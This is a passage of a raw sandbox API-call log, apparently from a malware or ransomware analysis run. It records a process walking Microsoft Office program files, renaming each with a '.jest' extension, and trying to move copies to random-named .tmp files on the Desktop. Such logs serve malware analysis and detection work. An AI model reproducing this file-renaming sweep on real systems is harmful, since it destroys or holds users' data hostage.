eqlvylx04bgusjgetnltvhwjnjinjxoimwtempzzl5f8su7syyvnlpah_lz8_kk2vytumtyegfzkw6.tmp")) returned 0 [0167.956] GetLastError () returned 0x2 [0167.957] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.957] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml.jest")) returned 1 [0167.961] VarBstrFromR4 (in: fltIn=0x479458c4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.53") returned 0x0 [0167.962] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tUJyBNqvqPQao4Vvu27h86DEdSvhqZhv00Mo-CWI_RpiZ3Or29gLv0LYNK-dGoCnBBcoXvGVXWMJtlzoGEc-flS86jsi2r6d7b2r.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tujybnqvqpqao4vvu27h86dedsvhqzhv00mo-cwi_rpiz3or29glv0lynk-dgocnbbcoxvgvxwmjtlzogec-fls86jsi2r6d7b2r.tmp")) returned 0 [0167.962] GetLastError () returned 0x2 [0167.964] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.965] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml.jest")) returned 1 [0167.969] VarBstrFromR4 (in: fltIn=0x479458c4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.53") returned 0x0 [0167.970] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PyBC3PiZDl3PNzFkq_w4HMck8m8bgHOCO_Wz6qXhpJ1omPrzX mFw5lwDRs18QVfs04yKD8pkRYuG7aqxlGBVNJrL5xea04gzR5Eu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pybc3pizdl3pnzfkq_w4hmck8m8bghoco_wz6qxhpj1omprzx mfw5lwdrs18qvfs04ykd8pkryug7aqxlgbvnjrl5xea04gzr5eu.tmp")) returned 0 [0167.970] GetLastError () returned 0x2 [0167.970] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.972] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg.jest")) returned 1 [0167.976] VarBstrFromR4 (in: fltIn=0x479458c6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.55") returned 0x0 [0167.977] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WgStjKC3-UPjW6-y2Oe-VaLbpBO5R9koBCpMoQgBIPTaGjKGIyLNRdYIQxXq2mytFGGW_Z-espkhCfM7c62rPuz2iNGXyZaL6BXXr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wgstjkc3-upjw6-y2oe-valbpbo5r9kobcpmoqgbiptagjkgiylnrdyiqxxq2mytfggw_z-espkhcfm7c62rpuz2ingxyzal6bxxr.tmp")) returned 0 [0167.977] GetLastError () returned 0x2 [0167.981] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.981] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg.jest")) returned 1 [0167.984] VarBstrFromR4 (in: fltIn=0x479458c6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.55") returned 0x0 [0167.986] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Npyj0gdlI7xu_SJLVlVPy9gIs4dDu3thHw_snztbnb_fltuHSnLUG_zTg7 2dxrJk0loY sBakv-X_ghXz042pDMusZCdFf2Zs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\npyj0gdli7xu_sjlvlvpy9gis4ddu3thhw_snztbnb_fltuhsnlug_ztg7 2dxrjk0loy sbakv-x_ghxz042pdmuszcdff2zs.tmp")) returned 0 [0167.986] GetLastError () returned 0x2 [0167.986] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰘ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.987] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP.jest" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp.jest")) returned 1 [0167.990] VarBstrFromR4 (in: fltIn=0x479458c8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.56") returned 0x0 [0167.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qEszznkQch7XKVTPtekA4VEeeVtzQ-sBNl7b6uQ69XZ4Qh5k9G7vOX-hGO_by86R0OgCFbE_aj3bpMGzEWv-qIMQwCmd2FPiOYiz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qeszznkqch7xkvtpteka4veeevtzq-sbnl7b6uq69xz4qh5k9g7vox-hgo_by86r0ogcfbe_aj3bpmgzewv-qimqwcmd2fpioyiz.tmp")) returned 0 [0167.991] GetLastError () returned 0x2 [0167.992] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="и\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.993] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.jest")) returned 1 [0168.000] VarBstrFromR4 (in: fltIn=0x479458c8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.56") returned 0x0 [0168.001] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KiDfDd_540gBtoIvj7yO4I3MKzvidzK-bbqN_7u-o81eGh_SUsdV89cFGO3i1PIw0OjpDpR8WSYczMPLrG4rvZbhqFFsl-W5ZndN-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kidfdd_540gbtoivj7yo4i3mkzvidzk-bbqn_7u-o81egh_susdv89cfgo3i1piw0ojpdpr8wsyczmplrg4rvzbhqffsl-w5zndn-.tmp")) returned 0 [0168.002] GetLastError () returned 0x2 [0168.003] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.003] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml.jest")) returned 1 [0168.007] VarBstrFromR4 (in: fltIn=0x479458ca, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.58") returned 0x0 [0168.008] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9 ftd5uDPDijb_FBS5JeTlqyG4goHMcAfPzkOQ-P cgXBvH32pnZAvzS39xzrQPJ7YFS0TmUpnvH_PjTu5 QfWMXzvzBkXT024v.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9 ftd5udpdijb_fbs5jetlqyg4gohmcafpzkoq-p cgxbvh32pnzavzs39xzrqpj7yfs0tmupnvh_pjtu5 qfwmxzvzbkxt024v.tmp")) returned 0 [0168.008] GetLastError () returned 0x2 [0168.008] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="с\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer.jest")) returned 1 [0168.012] VarBstrFromR4 (in: fltIn=0x479458ca, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.58") returned 0x0 [0168.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pHtPiZtZ5hZ0rQB1KR1DAG5HJiwEuTdxybejCU9QeLV7YBGvJ-dUdMcvHFIurZ6RIBtpvKNV_bUsfmFGYrXnk1EDtEZwVjRtBfjMt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\phtpiztz5hz0rqb1kr1dag5hjiweutdxybejcu9qelv7ybgvj-dudmcvhfiurz6ribtpvknv_busfmfgyrxnk1edtezwvjrtbfjmt.tmp")) returned 0 [0168.014] GetLastError () returned 0x2 [0168.014] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.015] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml.jest")) returned 1 [0168.019] VarBstrFromR4 (in: fltIn=0x479458ca, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.58") returned 0x0 [0168.020] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gOoNjDx1iunMGWCd4f H5iNMcV30z4xzV0kChek5g9OzswEsl_re3VoUatq-QkKQ8 Copmeetn-4VeSKHr008_3D5O6AyrQhe6EX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\goonjdx1iunmgwcd4f h5inmcv30z4xzv0kchek5g9ozswesl_re3vouatq-qkkq8 copmeetn-4veskhr008_3d5o6ayrqhe6ex.tmp")) returned 0 [0168.020] GetLastError () returned 0x2 [0168.021] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.021] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css.jest")) returned 1 [0168.024] VarBstrFromR4 (in: fltIn=0x479458cc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.59") returned 0x0 [0168.025] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P6tp-l0F1Tm-3ERlsCT3rlgXU10JWg-8hzd8Gzwt- Zv03D22RfYvBBQbBIoGDLnyRddDDELkdmJ5FDBrEMswY8k0woTd0IhIejfW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p6tp-l0f1tm-3erlsct3rlgxu10jwg-8hzd8gzwt- zv03d22rfyvbbqbbiogdlnyrddddelkdmj5fdbremswy8k0wotd0ihiejfw.tmp")) returned 0 [0168.025] GetLastError () returned 0x2 [0168.026] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.026] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml.jest")) returned 1 [0168.029] VarBstrFromR4 (in: fltIn=0x479458cc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.59") returned 0x0 [0168.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KjU0XR9tpOk38d0T2V_vTY4dHf_rq5IbmYgb_AWc_sGfju3euLDEVNd5dvCN_RgrvoE72PIIPXV0o-g3_n2CffgkuIYz8Hlm_KUM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kju0xr9tpok38d0t2v_vty4dhf_rq5ibmygb_awc_sgfju3euldevnd5dvcn_rgrvoe72piipxv0o-g3_n2cffgkuiyz8hlm_kum.tmp")) returned 0 [0168.030] GetLastError () returned 0x2 [0168.038] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.040] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css.jest")) returned 1 [0168.043] VarBstrFromR4 (in: fltIn=0x479458ce, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.61") returned 0x0 [0168.044] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FRxQFVR-4QPFj3FmVieFZTPcxc0GfMfKSp3kdZI-Aks66Qwz2MwkD-J9eIMZHrPG PBIn8F9EM-QQEN5wvef_XO5XSSZB3w v6w.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\frxqfvr-4qpfj3fmviefztpcxc0gfmfksp3kdzi-aks66qwz2mwkd-j9eimzhrpg pbin8f9em-qqen5wvef_xo5xsszb3w v6w.tmp")) returned 0 [0168.044] GetLastError () returned 0x2 [0168.046] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg.jest")) returned 1 [0168.052] VarBstrFromR4 (in: fltIn=0x479458ce, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.61") returned 0x0 [0168.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sHkLwgpd81Bib0PziI3iPLFcjHYpvPp8cd9KuM4oudcFj3pGHmf5vLep5iYC2mdleiobC2Tu2CXJJnqfmUP7lwyPWmg8ErXS--Ik.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\shklwgpd81bib0pzii3iplfcjhypvpp8cd9kum4oudcfj3pghmf5vlep5iyc2mdleiobc2tu2cxjjnqfmup7lwypwmg8erxs--ik.tmp")) returned 0 [0168.053] GetLastError () returned 0x2 [0168.054] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css.jest")) returned 1 [0168.057] VarBstrFromR4 (in: fltIn=0x479458d0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.63") returned 0x0 [0168.058] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MZZZUXSuP7ZS1iMyROOvhLBBK8li5cjvorqD9_RjXZYV-oVYhv-XC_UuClUe_OrxQgXtZ89gsl5Oy-PAt8KFgNxNNGsbio0pNBlJI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mzzzuxsup7zs1imyroovhlbbk8li5cjvorqd9_rjxzyv-ovyhv-xc_uuclue_orxqgxtz89gsl5oy-pat8kfgnxnngsbio0pnblji.tmp")) returned 0 [0168.058] GetLastError () returned 0x2 [0168.059] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, 